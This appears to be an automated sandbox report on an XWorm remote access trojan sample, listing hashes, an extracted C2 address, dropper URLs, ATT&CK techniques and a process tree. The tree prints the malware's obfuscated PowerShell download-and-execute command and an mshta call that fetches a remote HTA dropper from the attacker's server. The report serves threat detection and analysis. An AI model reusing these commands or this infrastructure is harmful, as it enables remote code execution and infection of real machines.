xworm | fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133

General

Target

prueba.ps1
Size

124B
MD5

6542fcabb69f2e45e5abb6ef369d6b4b
SHA1

a9e758873a6c57d87b7e3bf02cfc04be6959d59b
SHA256

fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133
SHA512

6f9a75d4e17909c0dea87683bec1286964b8b21db927650c72db8b33df37b07a16b84bd56db42a5055e20c1895821b541467812dc03d5cefb4a144cebb2afb26

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.147.124.40/Capcha.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.147.124.40/x/8.png

Extracted

Family

xworm

C2

185.147.124.40:4404

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4088-31-0x0000000000400000-0x0000000000414000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4000	mshta.exe
14	2584	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2584 set thread context of 4088	2584	powershell.exe	91

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1260	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3860	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1260	powershell.exe
1260	powershell.exe
2584	powershell.exe
2584	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1260	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	4088	RegSvcs.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1260 wrote to memory of 4000	1260	powershell.exe	84
PID 1260 wrote to memory of 4000	1260	powershell.exe	84
PID 4000 wrote to memory of 2584	4000	mshta.exe	87
PID 4000 wrote to memory of 2584	4000	mshta.exe	87
PID 2584 wrote to memory of 3860	2584	powershell.exe	90
PID 2584 wrote to memory of 3860	2584	powershell.exe	90
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91
PID 2584 wrote to memory of 4088	2584	powershell.exe	91

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\prueba.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://185.147.124.40/Capcha.html
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://185.147.124.40/x/8.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:3860
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfnhg5as.1ub.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1260-11-0x00007FFA71810000-0x00007FFA722D1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-12-0x00007FFA71810000-0x00007FFA722D1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-16-0x00007FFA71810000-0x00007FFA722D1000-memory.dmp

Filesize
10.8MB

Download
memory/1260-0-0x00007FFA71813000-0x00007FFA71815000-memory.dmp

Filesize
8KB

Download
memory/1260-10-0x0000018522090000-0x00000185220B2000-memory.dmp

Filesize
136KB

Download
memory/2584-29-0x000001D060D70000-0x000001D060D8A000-memory.dmp

Filesize
104KB

Download
memory/2584-30-0x000001D047D80000-0x000001D047D86000-memory.dmp

Filesize
24KB

Download
memory/4088-31-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/4088-33-0x00000000054C0000-0x000000000555C000-memory.dmp

Filesize
624KB

Download
memory/4088-34-0x0000000005BB0000-0x0000000005C16000-memory.dmp

Filesize
408KB

Download
memory/4088-35-0x0000000006590000-0x0000000006622000-memory.dmp

Filesize
584KB

Download
memory/4088-36-0x0000000006BE0000-0x0000000007184000-memory.dmp

Filesize
5.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads